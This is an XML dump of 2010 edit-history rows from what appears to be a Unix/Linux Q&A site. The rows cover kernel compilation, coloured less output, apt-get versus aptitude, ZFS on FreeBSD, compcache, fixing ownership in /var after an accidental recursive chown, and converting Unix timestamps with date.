  <row Id="1724" PostHistoryTypeId="5" PostId="906" RevisionGUID="b74d3efb-5a9a-416a-8300-e24ce85bc477" CreationDate="2010-08-20T21:35:34.930" UserId="73" Comment="deleted 1 characters in body" Text="Compiling the kernel yourself allows you to only include the parts relevant to your computer, which makes it smaller and potentially faster, especially at boot time. Generic kernels need to include support for as much hardware as possible; at boot time they detect which hardware is attached to your computer and loads the appropriate modules, but it takes time to do all that and they need to load dynamic modules, rather than having the code baked directly into the kernel. There's no reason to have your kernel support 400 different CPUs when there's only one in your computer, or to support bluetooth mice if you don't have one, it's all wasted space you can free up" />
  <row Id="1725" PostHistoryTypeId="4" PostId="6" RevisionGUID="bdce0751-fda1-4ab1-898b-b63a7766ceee" CreationDate="2010-08-20T21:59:42.930" UserId="997" Comment="edited title" Text="What are your favorite command lne features or tricks?" />
  <row Id="1726" PostHistoryTypeId="4" PostId="6" RevisionGUID="169e2a37-e3d6-49dd-b234-fe4a7ac77658" CreationDate="2010-08-20T22:11:54.180" UserId="85" Comment="fix typo in title, add 'shell' tag" Text="What are your favorite command line features or tricks?" />
  <row Id="1727" PostHistoryTypeId="6" PostId="6" RevisionGUID="169e2a37-e3d6-49dd-b234-fe4a7ac77658" CreationDate="2010-08-20T22:11:54.180" UserId="85" Comment="fix typo in title, add 'shell' tag" Text="écommandölineàéshellà" />
  <row Id="1728" PostHistoryTypeId="5" PostId="147" RevisionGUID="9f68be83-a82c-4633-9c6b-6d4cde152a80" CreationDate="2010-08-20T22:26:37.657" UserId="4" Comment="added 161 characters in body" Text="You need to use the [termcap(5)][1] feature. The man page on some Unices says this tool is obsolete and to use 'terminfo', but terminfo is more complicated.&#xD;&#xA;&#xD;&#xA;I do the following so that `less` and `man` (which uses `less`) will have color:&#xD;&#xA;&#xD;&#xA;    $ cat ~/.LESS_TERMCAP &#xD;&#xA;    export LESS_TERMCAP_mb=$(tput bold; tput setaf 2) # green&#xD;&#xA;    export LESS_TERMCAP_md=$(tput bold; tput setaf 6) # cyan&#xD;&#xA;    export LESS_TERMCAP_me=$(tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_so=$(tput bold; tput setaf 3; tput setab 4) # yellow on blue&#xD;&#xA;    export LESS_TERMCAP_se=$(tput rmso; tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_us=$(tput smul; tput bold; tput setaf 7) # white&#xD;&#xA;    export LESS_TERMCAP_ue=$(tput rmul; tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_mr=$(tput rev)&#xD;&#xA;    export LESS_TERMCAP_mh=$(tput dim)&#xD;&#xA;    export LESS_TERMCAP_ZN=$(tput ssubm)&#xD;&#xA;    export LESS_TERMCAP_ZV=$(tput rsubm)&#xD;&#xA;    export LESS_TERMCAP_ZO=$(tput ssupm)&#xD;&#xA;    export LESS_TERMCAP_ZW=$(tput rsupm)&#xD;&#xA;&#xD;&#xA;And then in my ~/.bashrc, I do this:&#xD;&#xA;&#xD;&#xA;        # Get color support for 'less'&#xD;&#xA;        export LESS=&quot;--RAW-CONTROL-CHARS&quot;&#xD;&#xA;&#xD;&#xA;        # Use colors for less, man, etc.&#xD;&#xA;        [[ -f ~/.LESS_TERMCAP ]] &amp;&amp; . ~/.LESS_TERMCAP&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/5/termcap" />
  <row Id="1729" PostHistoryTypeId="5" PostId="147" RevisionGUID="3d2bfa5f-b4dc-41ab-893b-488184477923" CreationDate="2010-08-20T22:36:07.940" UserId="4" Comment="added 108 characters in body" Text="You need to use the [termcap(5)][1] feature. The man page on some Unices says this tool is obsolete and to use 'terminfo', but it's still available on [others][2], and terminfo is more complicated.&#xD;&#xA;&#xD;&#xA;I do the following so that `less` and `man` (which uses `less`) will have color:&#xD;&#xA;&#xD;&#xA;    $ cat ~/.LESS_TERMCAP &#xD;&#xA;    export LESS_TERMCAP_mb=$(tput bold; tput setaf 2) # green&#xD;&#xA;    export LESS_TERMCAP_md=$(tput bold; tput setaf 6) # cyan&#xD;&#xA;    export LESS_TERMCAP_me=$(tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_so=$(tput bold; tput setaf 3; tput setab 4) # yellow on blue&#xD;&#xA;    export LESS_TERMCAP_se=$(tput rmso; tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_us=$(tput smul; tput bold; tput setaf 7) # white&#xD;&#xA;    export LESS_TERMCAP_ue=$(tput rmul; tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_mr=$(tput rev)&#xD;&#xA;    export LESS_TERMCAP_mh=$(tput dim)&#xD;&#xA;    export LESS_TERMCAP_ZN=$(tput ssubm)&#xD;&#xA;    export LESS_TERMCAP_ZV=$(tput rsubm)&#xD;&#xA;    export LESS_TERMCAP_ZO=$(tput ssupm)&#xD;&#xA;    export LESS_TERMCAP_ZW=$(tput rsupm)&#xD;&#xA;&#xD;&#xA;And then in my ~/.bashrc, I do this:&#xD;&#xA;&#xD;&#xA;        # Get color support for 'less'&#xD;&#xA;        export LESS=&quot;--RAW-CONTROL-CHARS&quot;&#xD;&#xA;&#xD;&#xA;        # Use colors for less, man, etc.&#xD;&#xA;        [[ -f ~/.LESS_TERMCAP ]] &amp;&amp; . ~/.LESS_TERMCAP&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/5/termcap&#xD;&#xA;  [2]: http://www.freebsd.org/cgi/man.cgi?query=termcap&amp;sektion=5" />
  <row Id="1731" PostHistoryTypeId="2" PostId="934" RevisionGUID="9282b5f7-049d-4de5-9103-06da81793450" CreationDate="2010-08-21T00:22:35.507" UserId="391" Text="It appears that the major package managers are (in no particular order) apt, yum, and pacman. But when it comes down to it, what is the difference? My understanding is that you can use any of them on any distribution, although every distribution appears to favor one over the other.&#xD;&#xA;&#xD;&#xA;So, my questions are: What are the core differences between the major package managers? Why should I consider one over the other (avoiding holy wars - I'm just looking for a single reason why I should consider X over Y)?" />
  <row Id="1732" PostHistoryTypeId="1" PostId="934" RevisionGUID="9282b5f7-049d-4de5-9103-06da81793450" CreationDate="2010-08-21T00:22:35.507" UserId="391" Text="What is the difference between the major package managers?" />
  <row Id="1733" PostHistoryTypeId="3" PostId="934" RevisionGUID="9282b5f7-049d-4de5-9103-06da81793450" CreationDate="2010-08-21T00:22:35.507" UserId="391" Text="épackagingà" />
  <row Id="1734" PostHistoryTypeId="2" PostId="935" RevisionGUID="332059f5-3024-4273-8350-57ddaccab15c" CreationDate="2010-08-21T00:37:21.590" UserId="1010" Text="The most obvious difference is that aptitude provides a terminal menu interface (much like Synaptic in a terminal), whereas apt-get does not.&#xD;&#xA;&#xD;&#xA;Considering only the command-line interfaces of each, they are quite similar, and for the most part, it really doesn't matter which you use. Recent versions of both will track which packages were manually installed, and which were installed as dependencies (and therefore eligible for automatic removal). In fact, I believe that even more recently, the two tools were updated to actually share a databased of manually vs automatically installed packages, so cases where you install something with apt-get and then aptitude wants to uninstall it are mostly a thing of the past. &#xD;&#xA;&#xD;&#xA;There are a few minor differences:&#xD;&#xA;&#xD;&#xA; - aptitude will automatically remove eligible packages, whereas apt-get requires a separate command to do so&#xD;&#xA; - The commands for *upgrade* vs. *dist-upgrade* have been renamed in aptitude to the probably more accurate names *safe-upgrade* and *full-upgrade*, respectively.&#xD;&#xA; - aptitude actually performs the functions of not just apt-get, but also some of its companion tools, such as apt-cache and apt-mark.&#xD;&#xA; - aptitude has a slightly different query syntax for searching (compared to apt-cache)&#xD;&#xA; - aptitude has the *why* and *why-not* commands to tell you which *manually installed* packages are preventing an action that you might want to take.&#xD;&#xA; - If the actions (installing, removing, updating packages) that you want to take cause conflicts, aptitude can suggest several potential resolutions. apt-get will just say &quot;I'm sorry Dave, I can't allow you to do that.&quot;&#xD;&#xA;&#xD;&#xA;In short, aptitude more properly belongs in the category with Synaptic and other higher-level pacakge manager frontends. It just happens to also have a command-line interface that resembles apt-get.&#xD;&#xA;&#xD;&#xA;## Bonus Round: What is wajig?&#xD;&#xA;&#xD;&#xA;Remember how I mentioned those &quot;companion&quot; tools like apt-cache and apt-mark? Well, there's a bunch of them, and if you use them a lot, you might not remember which ones provide which commands. wajig is one solution to that problem. It is essentially a dispatcher, a wrapper around all of those tools. It also applies sudo when necessary. When you say `wajig install foo`, wajig says &quot;Ok, `install` is provided by `apt-get` and requires admin privileges,&quot; and it runs `sudo apt-get install foo`. When you say `wajig search foo`, wajig says &quot;Ok, `search` is provided by `apt-cache` and does not require admin provileges,&quot; and it runs `apt-cache search foo`. &#xD;&#xA;&#xD;&#xA;If you want to know what wajig is doing behind the scenes, which tools it is using to implement a particular command, it has `--simulate` and `--teaching` modes that show you.&#xD;&#xA;&#xD;&#xA;Two wajig commands that I use often are `wajig list-files foo` and `wajig whichpkg /usr/bin/foo`." />
  <row Id="1735" PostHistoryTypeId="5" PostId="935" RevisionGUID="2cac8231-dc5b-4c08-bcee-a7ba6c5a8e97" CreationDate="2010-08-21T00:43:51.047" UserId="1010" Comment="added 166 characters in body; added 97 characters in body" Text="The most obvious difference is that aptitude provides a terminal menu interface (much like Synaptic in a terminal), whereas apt-get does not.&#xD;&#xA;&#xD;&#xA;Considering only the command-line interfaces of each, they are quite similar, and for the most part, it really doesn't matter which you use. Recent versions of both will track which packages were manually installed, and which were installed as dependencies (and therefore eligible for automatic removal). In fact, I believe that even more recently, the two tools were updated to actually share a databased of manually vs automatically installed packages, so cases where you install something with apt-get and then aptitude wants to uninstall it are mostly a thing of the past. &#xD;&#xA;&#xD;&#xA;There are a few minor differences:&#xD;&#xA;&#xD;&#xA; - aptitude will automatically remove eligible packages, whereas apt-get requires a separate command to do so&#xD;&#xA; - The commands for *upgrade* vs. *dist-upgrade* have been renamed in aptitude to the probably more accurate names *safe-upgrade* and *full-upgrade*, respectively.&#xD;&#xA; - aptitude actually performs the functions of not just apt-get, but also some of its companion tools, such as apt-cache and apt-mark.&#xD;&#xA; - aptitude has a slightly different query syntax for searching (compared to apt-cache)&#xD;&#xA; - aptitude has the *why* and *why-not* commands to tell you which *manually installed* packages are preventing an action that you might want to take.&#xD;&#xA; - If the actions (installing, removing, updating packages) that you want to take cause conflicts, aptitude can suggest several potential resolutions. apt-get will just say &quot;I'm sorry Dave, I can't allow you to do that.&quot;&#xD;&#xA;&#xD;&#xA;There are other small differences, but those are the most important ones that I can think of.&#xD;&#xA;&#xD;&#xA;In short, aptitude more properly belongs in the category with Synaptic and other higher-level pacakge manager frontends. It just happens to also have a command-line interface that resembles apt-get.&#xD;&#xA;&#xD;&#xA;## Bonus Round: What is wajig?&#xD;&#xA;&#xD;&#xA;Remember how I mentioned those &quot;companion&quot; tools like apt-cache and apt-mark? Well, there's a bunch of them, and if you use them a lot, you might not remember which ones provide which commands. wajig is one solution to that problem. It is essentially a dispatcher, a wrapper around all of those tools. It also applies sudo when necessary. When you say `wajig install foo`, wajig says &quot;Ok, `install` is provided by `apt-get` and requires admin privileges,&quot; and it runs `sudo apt-get install foo`. When you say `wajig search foo`, wajig says &quot;Ok, `search` is provided by `apt-cache` and does not require admin provileges,&quot; and it runs `apt-cache search foo`. If you use wajig instead of apt-get, apt-mark, apt-cache and others, then you'll never have this problem:&#xD;&#xA;&#xD;&#xA;    $ apt-get search foo&#xD;&#xA;    E: Invalid operation search&#xD;&#xA;&#xD;&#xA;If you want to know what wajig is doing behind the scenes, which tools it is using to implement a particular command, it has `--simulate` and `--teaching` modes that show you.&#xD;&#xA;&#xD;&#xA;Two wajig commands that I use often are `wajig list-files foo` and `wajig whichpkg /usr/bin/foo`." />
  <row Id="1736" PostHistoryTypeId="2" PostId="936" RevisionGUID="4c4d7bdc-ceb9-42f8-8808-167c0a4718dc" CreationDate="2010-08-21T01:04:05.280" UserId="138" Text="I saw this coming about 6 months ago when I started playing with ZFS.  At the time, the next release of OpenSolaris was already way overdue, and I had yet to be impressed by the progress between any two releases I'd seen over the years I'd been watching the project.  It was clear to me that OpenSolaris wasn't winning hearts and minds, so by the time I started my ZFS adventure, it was already out of the running as far as I was concerned.&#xD;&#xA;&#xD;&#xA;I ended up picking FreeBSD 8, for a bunch of reasons:&#xD;&#xA;&#xD;&#xA; - Really, actually free-as-in-beer. As opposed to the &quot;free only if you need less than 4 TB&quot; come-on offered by Nexenta.&#xD;&#xA;&#xD;&#xA; - Really, actually free-as-in-freedom.&#xD;&#xA;&#xD;&#xA; I learned this lesson back when transitioning from Novell (!) UnixWare to this new cool thing called Linux. I spent an unholy number of hours on Usenet arguing with the UnixWare fans, trying to convince them that Linux was going to take over the *ix world. The UnixWare fans would keep pointing out this little advantage or that; and they were right, UnixWare did have some technical advantages at the time. They saw me surfing a wave behind their serious yacht and only saw the surfboard, and didn't realize that it would take a tsunami for me to be surfing that far out. A decade later, we're still skimming the splinters of their yacht off the ocean surface.&#xD;&#xA;&#xD;&#xA; I believe the same thing will happen to Solaris, sooner or later. I have more than just SCO in mind when I make this prediction. Think on how many other marginal Unices have already fallen and how embattled the remaining biggies &amp;mdash; AIX and HP-UX &amp;mdash; already are.&#xD;&#xA;&#xD;&#xA; My only bit of unease here is that I'm not sure that FreeBSD won't also end up under the waves. It could be that Linux + btrfs will someday take the ZFS advantage away from FreeBSD. But, if it does, you still have the two freedoms to fall back on. Consider the least popular of the BSDs, NetBSD: even complete marginalization isn't enough to destroy a truly free OS.&#xD;&#xA;&#xD;&#xA; - It ran on hardware Nexenta wouldn't. This is more than just an anecdote, it's a reflection of the fact that some OSes get more driver support than others. If this is your only criterion, of course, you'd run Windows, not *ix of any sort. Since it isn't, you have to ask how far down the slope toward &quot;truly rotten driver support&quot; you'll allow yourself to slide. Windows &gt; Linux &gt; FreeBSD &gt; Solaris, in the driver support area." />
  <row Id="1737" PostHistoryTypeId="2" PostId="937" RevisionGUID="f2599471-00a0-4f48-8c00-db653d0f1fd5" CreationDate="2010-08-21T01:12:48.557" UserId="1010" Text="You can try [compcache](http://code.google.com/p/compcache/), if you can figure out how to set it up in your distro. For example, on Ubuntu, you can enable it by editing */etc/initramfs-tools/initramfs.conf* and editing the &quot;COMPCACHE_SIZE&quot; line.&#xD;&#xA;&#xD;&#xA;I don't think my on-disk swap has been touched once since I enabled compcache. Here are my current swap stats:&#xD;&#xA;&#xD;&#xA;    % swapon -s&#xD;&#xA;    Filename                                Type            Size    Used    Priority&#xD;&#xA;    /dev/ramzswap0                          partition       1028084 69504   100&#xD;&#xA;    /dev/sda5                               partition       3148668 0       -1&#xD;&#xA;&#xD;&#xA;Notice that the compcache device (ramzswap0) is used, and the on-disk device (sda5) is not." />
  <row Id="1738" PostHistoryTypeId="2" PostId="938" RevisionGUID="af54f90e-4e30-42b9-b2a1-1c50387548fc" CreationDate="2010-08-21T03:30:33.987" UserId="621" Text="I accidentally wreaked unknown amounts of havoc on my web server by running&#xD;&#xA;&#xD;&#xA;    sudo chown -R myuser:mygroup * .*&#xD;&#xA;&#xD;&#xA;in `/var/www`, not remembering that `.*` would include the parent directory (as `..`). I realized what was happening after a second or so, but by then it was too late, half the directories in `/var` had been &quot;re-owned&quot;. I know I can reset most of it with&#xD;&#xA;&#xD;&#xA;    sudo chown -R root:root /var&#xD;&#xA;&#xD;&#xA;but what files are there that need to be owned by specific non-root users (or groups) that I would have to change manually?&#xD;&#xA;&#xD;&#xA;This is on Gentoo, if that makes a difference." />
  <row Id="1739" PostHistoryTypeId="1" PostId="938" RevisionGUID="af54f90e-4e30-42b9-b2a1-1c50387548fc" CreationDate="2010-08-21T03:30:33.987" UserId="621" Text="What files in /var need to have specific owners?" />
  <row Id="1740" PostHistoryTypeId="3" PostId="938" RevisionGUID="af54f90e-4e30-42b9-b2a1-1c50387548fc" CreationDate="2010-08-21T03:30:33.987" UserId="621" Text="épermissionsàédefaultsà" />
  <row Id="1741" PostHistoryTypeId="2" PostId="939" RevisionGUID="f1ab8b7b-b759-4db4-a8dc-a578914aae3b" CreationDate="2010-08-21T04:30:17.347" UserId="160" Text="Well, /var is generally for program-generate data so it may not be possible to tell you exactly who should own what without duplicating your system.  I can think of two ways you might fix it:&#xD;&#xA;&#xD;&#xA; 1. Set up another version of your web server on a spare or virtual machine and then check `/var`.&#xD;&#xA; 2. Just change to root/root and then see what errors come up (most of the directories will have this ownership structure).&#xD;&#xA;&#xD;&#xA;The downside to 1 is the amount of time it will take; the plus side being that it will be accurate.  Item 2 is much faster but less accurate even if it's mostly true.  The big problem here is that on an important production box it isn't feasible.&#xD;&#xA;" />
  <row Id="1742" PostHistoryTypeId="5" PostId="939" RevisionGUID="c174aa7a-6679-4d0e-be90-d7c3a12a61eb" CreationDate="2010-08-21T04:36:28.650" UserId="160" Comment="It's late; not writing well" Text="Well, /var is generally for program-generate data so it may not be possible to tell you exactly who should own what without duplicating your system.  I can think of two ways you might fix it:&#xD;&#xA;&#xD;&#xA; 1. Set up another version of your web server on a spare or virtual machine and then check `/var`.&#xD;&#xA; 2. Just change to root/root and then see what errors come up (most of the directories will have this ownership structure).&#xD;&#xA;&#xD;&#xA;The downside to 1 is the amount of time it will take; the plus side being that it will be accurate.  Item 2 is much faster but less accurate even if it's mostly true.  The big problem here is that on an important production box 2 may not be feasible." />
  <row Id="1744" PostHistoryTypeId="6" PostId="938" RevisionGUID="67721b86-d3c2-428e-a388-058d2375b492" CreationDate="2010-08-21T04:41:21.857" UserId="29" Comment="edited tags" Text="épermissionsàédefaultsàégentooà" />
  <row Id="1745" PostHistoryTypeId="2" PostId="940" RevisionGUID="545af63b-cd68-42ed-97fd-4b8c2b14bb4b" CreationDate="2010-08-21T05:27:22.770" UserId="595" Text="Hi, &#xD;&#xA;&#xD;&#xA;I have a UNIX timestamp and I'd like to get a formatted date (like the output of `date`) corresponding to that timestamp.&#xD;&#xA;&#xD;&#xA;My attempts so far:&#xD;&#xA;&#xD;&#xA;    umang@ancient:~$ date +%s&#xD;&#xA;    1282367908&#xD;&#xA;    umang@ancient:~$ date -d 1282367908&#xD;&#xA;    date: invalid date `1282367908'&#xD;&#xA;    umang@ancient:~$ date -d +1282367908&#xD;&#xA;    date: invalid date `+1282367908'&#xD;&#xA;    umang@ancient:~$ date +%s -d +1282367908&#xD;&#xA;    date: invalid date `+1282367908'&#xD;&#xA;&#xD;&#xA;I'd like to be able to get output like:&#xD;&#xA;&#xD;&#xA;    umang@ancient:~$ TZ=UTC somecommand 1282368345&#xD;&#xA;    Sat Aug 21 05:25:46 UTC 2010&#xD;&#xA;&#xD;&#xA;TIA" />
  <row Id="1746" PostHistoryTypeId="1" PostId="940" RevisionGUID="545af63b-cd68-42ed-97fd-4b8c2b14bb4b" CreationDate="2010-08-21T05:27:22.770" UserId="595" Text="How can I get a formated date for a UNIX timestamp from the command line" />
  <row Id="1747" PostHistoryTypeId="3" PostId="940" RevisionGUID="545af63b-cd68-42ed-97fd-4b8c2b14bb4b" CreationDate="2010-08-21T05:27:22.770" UserId="595" Text="écommandölineà" />
  <row Id="1748" PostHistoryTypeId="2" PostId="941" RevisionGUID="dd988994-5f80-4654-a927-ec0a8d33c041" CreationDate="2010-08-21T06:01:26.817" UserId="1027" Text="This perl one-liner will do it:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ perl -e 'print scalar localtime $ARGV[0]' 1282367908&#xD;&#xA;Sat Aug 21 09:18:28 2010&#xD;&#xA;$&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="1749" PostHistoryTypeId="2" PostId="942" RevisionGUID="dc2e730c-8af9-4ef6-9044-2a3403294b82" CreationDate="2010-08-21T06:07:06.947" UserId="1027" Text="After some googling I have found way how to do it with `date` command only:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ date --date &quot;Jan 1, 1970 00:00:00 +0000 + 1282367908 seconds&quot;&#xD;&#xA;Sat Aug 21 09:18:28 MSD 2010&#xD;&#xA;$&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="1750" PostHistoryTypeId="5" PostId="935" RevisionGUID="35476dc0-3c75-4904-b5eb-3b6c9369dd5c" CreationDate="2010-08-21T06:19:22.177" UserId="1010" Comment="added 46 characters in body" Text="The most obvious difference is that aptitude provides a terminal menu interface (much like Synaptic in a terminal), whereas apt-get does not.&#xD;&#xA;&#xD;&#xA;Considering only the command-line interfaces of each, they are quite similar, and for the most part, it really doesn't matter which you use. Recent versions of both will track which packages were manually installed, and which were installed as dependencies (and therefore eligible for automatic removal). In fact, I believe that even more recently, the two tools were updated to actually share a databased of manually vs automatically installed packages, so cases where you install something with apt-get and then aptitude wants to uninstall it are mostly a thing of the past. &#xD;&#xA;&#xD;&#xA;There are a few minor differences:&#xD;&#xA;&#xD;&#xA; - aptitude will automatically remove eligible packages, whereas apt-get requires a separate command to do so&#xD;&#xA; - The commands for *upgrade* vs. *dist-upgrade* have been renamed in aptitude to the probably more accurate names *safe-upgrade* and *full-upgrade*, respectively.&#xD;&#xA; - aptitude actually performs the functions of not just apt-get, but also some of its companion tools, such as apt-cache and apt-mark.&#xD;&#xA; - aptitude has a slightly different query syntax for searching (compared to apt-cache)&#xD;&#xA; - aptitude has the *why* and *why-not* commands to tell you which *manually installed* packages are preventing an action that you might want to take.&#xD;&#xA; - If the actions (installing, removing, updating packages) that you want to take cause conflicts, aptitude can suggest several potential resolutions. apt-get will just say &quot;I'm sorry Dave, I can't allow you to do that.&quot;&#xD;&#xA;&#xD;&#xA;There are other small differences, but those are the most important ones that I can think of.&#xD;&#xA;&#xD;&#xA;In short, aptitude more properly belongs in the category with Synaptic and other higher-level pacakge manager frontends. It just happens to also have a command-line interface that resembles apt-get.&#xD;&#xA;&#xD;&#xA;## Bonus Round: What is wajig?&#xD;&#xA;&#xD;&#xA;Remember how I mentioned those &quot;companion&quot; tools like apt-cache and apt-mark? Well, there's a bunch of them, and if you use them a lot, you might not remember which ones provide which commands. wajig is one solution to that problem. It is essentially a dispatcher, a wrapper around all of those tools. It also applies sudo when necessary. When you say `wajig install foo`, wajig says &quot;Ok, `install` is provided by `apt-get` and requires admin privileges,&quot; and it runs `sudo apt-get install foo`. When you say `wajig search foo`, wajig says &quot;Ok, `search` is provided by `apt-cache` and does not require admin provileges,&quot; and it runs `apt-cache search foo`. If you use wajig instead of apt-get, apt-mark, apt-cache and others, then you'll never have this problem:&#xD;&#xA;&#xD;&#xA;    $ apt-get search foo&#xD;&#xA;    E: Invalid operation search&#xD;&#xA;&#xD;&#xA;If you want to know what wajig is doing behind the scenes, which tools it is using to implement a particular command, it has `--simulate` and `--teaching` modes that show you.&#xD;&#xA;&#xD;&#xA;Two wajig commands that I use often are `wajig list-files foo` and `wajig whichpkg /usr/bin/foo`.&#xD;&#xA;&#xD;&#xA;Edit: Of course, don't forget `wajig moo`." />
  <row Id="1751" PostHistoryTypeId="5" PostId="938" RevisionGUID="13f7e8fc-883e-48af-9b8d-44500d5fcf40" CreationDate="2010-08-21T06:33:18.127" UserId="621" Comment="add directory listing" Text="I accidentally wreaked unknown amounts of havoc on my web server by running&#xD;&#xA;&#xD;&#xA;    sudo chown -R myuser:mygroup * .*&#xD;&#xA;&#xD;&#xA;in `/var/www`, not remembering that `.*` would include the parent directory (as `..`). I realized what was happening after a second or so, but by then it was too late, half the directories in `/var` had been &quot;re-owned&quot;. I know I can reset most of it with&#xD;&#xA;&#xD;&#xA;    sudo chown -R root:root /var&#xD;&#xA;&#xD;&#xA;but what files are there that need to be owned by specific non-root users (or groups) that I would have to change manually?&#xD;&#xA;&#xD;&#xA;This is on Gentoo, and here's a directory listing:&#xD;&#xA;&#xD;&#xA;    $ ls -l /var&#xD;&#xA;    drwxr-xr-x  9 root root 4096 May 12  2009 cache&#xD;&#xA;    drwxr-xr-x  4 root root 4096 Aug 20 22:49 db&#xD;&#xA;    drwxr-xr-x  3 root root 4096 Aug 20 22:42 dist&#xD;&#xA;    drwxr-xr-x  4 root root 4096 Nov  1  2009 edata&#xD;&#xA;    drwxr-xr-x  2 root root 4096 Jun 17  2008 empty&#xD;&#xA;    drwxr-xr-x  5 git  git  4096 Feb 13  2010 git&#xD;&#xA;    drwxr-xr-x 23 root root 4096 Jul 19 03:22 lib&#xD;&#xA;    drwxrwxr-x  3 root uucp 4096 Aug 12 00:14 lock&#xD;&#xA;    drwxr-xr-x 10 root root 4096 Aug 20 03:10 log&#xD;&#xA;    lrwxrwxrwx  1 root root   15 Nov  7  2008 mail -&gt; /var/spool/mail&#xD;&#xA;    drwxr-xr-x 10 root root 4096 Aug 21 00:22 run&#xD;&#xA;    drwxr-xr-x  8 root root 4096 Feb 13  2010 spool&#xD;&#xA;    drwxr-xr-x  2 root root 4096 Jun 17  2008 state&#xD;&#xA;    drwxr-xr-x 13 root root 4096 Dec 23  2009 svn&#xD;&#xA;    drwxrwxrwt  5 root root 4096 Aug 14 01:53 tmp&#xD;&#xA;    drwxr-xr-x 13 root root 4096 Aug 11 20:21 www&#xD;&#xA;    drwxr-xr-x  2 root root 4096 Dec 14  2008 www-cache&#xD;&#xA;&#xD;&#xA;I can provide listings of subdirectories if it would help but that gets pretty long pretty fast. (`dist`, `edata`, `git`, `svn`, and `www` are things I manage myself so ownership in those won't be an issue)" />
  <row Id="1752" PostHistoryTypeId="2" PostId="943" RevisionGUID="56856911-f006-4e3c-9ea1-7a57dec3a508" CreationDate="2010-08-21T06:34:06.890" UserId="1030" Text="I have folders named in my home folder as Document, Downloads, Temp, etc with the first letter in uppercase. When I work on the terminal it's annoying to shift press the first key when you are cd'ing into a directory. Just key in the following in your terminal and bash would auto-correct the case for you.&#xD;&#xA;&#xD;&#xA;    shopt -s nocaseglob" />
  <row Id="1753" PostHistoryTypeId="16" PostId="943" RevisionGUID="56856911-f006-4e3c-9ea1-7a57dec3a508" CreationDate="2010-08-21T06:34:06.890" UserId="-1" />
  <row Id="1754" PostHistoryTypeId="2" PostId="944" RevisionGUID="51c25764-7086-47ff-9b5f-5fcba8fa1678" CreationDate="2010-08-21T07:06:57.793" UserId="29" Text="I'd help you out but I no longer run gentoo so here's a faster way to find out than installing a VM. Download the latest tarball to a directory and extract it. mount proc and dev like you would for an install. chroot in and install whatever server daemons you've installed, you probably need to start them too. now run.&#xD;&#xA;&#xD;&#xA;    find /var ! -user root &#xD;&#xA;&#xD;&#xA;this should list all the files not owned by the root user.&#xD;&#xA;&#xD;&#xA;*If someone else has a gentoo system they could help him by just running this command*" />
  <row Id="1755" PostHistoryTypeId="2" PostId="945" RevisionGUID="2002525a-6d7c-4e9e-ba90-925da36f7ad0" CreationDate="2010-08-21T07:07:27.150" UserId="1030" Text="I have compiled and installed the 2.6 kernel on an ARM board. I am using the ARM mini2440 board. I would like to know if there is already a way to access the General Purpose I/O port pins? &#xD;&#xA;&#xD;&#xA;Or will I have to do ioctl() and access them directly from the memory? " />
  <row Id="1756" PostHistoryTypeId="1" PostId="945" RevisionGUID="2002525a-6d7c-4e9e-ba90-925da36f7ad0" CreationDate="2010-08-21T07:07:27.150" UserId="1030" Text="Linux kernel 2.6 on ARM" />
  <row Id="1757" PostHistoryTypeId="3" PostId="945" RevisionGUID="2002525a-6d7c-4e9e-ba90-925da36f7ad0" CreationDate="2010-08-21T07:07:27.150" UserId="1030" Text="ékernelà" />
  <row Id="1758" PostHistoryTypeId="5" PostId="944" RevisionGUID="160d756c-9214-494e-8def-52c05e17161d" CreationDate="2010-08-21T07:17:48.737" UserId="29" Comment="give a short list that might help" Text="I'd help you out but I no longer run gentoo so here's a faster way to find out than installing a VM. Download the latest tarball to a directory and extract it. mount proc and dev like you would for an install. chroot in and install whatever server daemons you've installed, you probably need to start them too. now run.&#xD;&#xA;&#xD;&#xA;    find /var ! -user root &#xD;&#xA;&#xD;&#xA;this should list all the files not owned by the root user.&#xD;&#xA;&#xD;&#xA;*If someone else has a gentoo system they could help him by just running this command*&#xD;&#xA;&#xD;&#xA;Here's a short list from my system (which is *Arch Linux* so distance will vary ) which might help out.&#xD;&#xA;&#xD;&#xA;    find /var -maxdepth 2 ! -user root                            slave-iv&#xD;&#xA;    /var/named&#xD;&#xA;    /var/named/127.0.0.zone&#xD;&#xA;    /var/named/root.hint&#xD;&#xA;    /var/named/localhost.zone&#xD;&#xA;    /var/tmp/kdecache-griff&#xD;&#xA;    /var/tmp/kdecache-kdm&#xD;&#xA;    /var/tmp/kdecache-xenoterracide&#xD;&#xA;    /var/spool/atd&#xD;&#xA;    /var/log/named.log&#xD;&#xA;    /var/log/postgresql.log&#xD;&#xA;    /var/log/named.log.1&#xD;&#xA;    /var/log/named.log.4&#xD;&#xA;    /var/log/named.log.3&#xD;&#xA;    /var/log/named.log.2&#xD;&#xA;    /var/lib/mysql&#xD;&#xA;    /var/run/named&#xD;&#xA;    /var/run/dbus&#xD;&#xA;    /var/run/hald&#xD;&#xA;" />
  <row Id="1759" PostHistoryTypeId="2" PostId="946" RevisionGUID="0c893f72-aaa2-4d78-b70e-1d8c8ad658eb" CreationDate="2010-08-21T07:20:49.230" UserId="188" Text="Another neat example of the rich heritage of modern Unix. This is indeed possible under most BSD variants:&#xD;&#xA;&#xD;&#xA;    $ TZ=UTC date -r 1282368345&#xD;&#xA;    Sat Aug 21 05:25:45 UTC 2010&#xD;&#xA;&#xD;&#xA;(BTW your example seems to be off by one second)" />
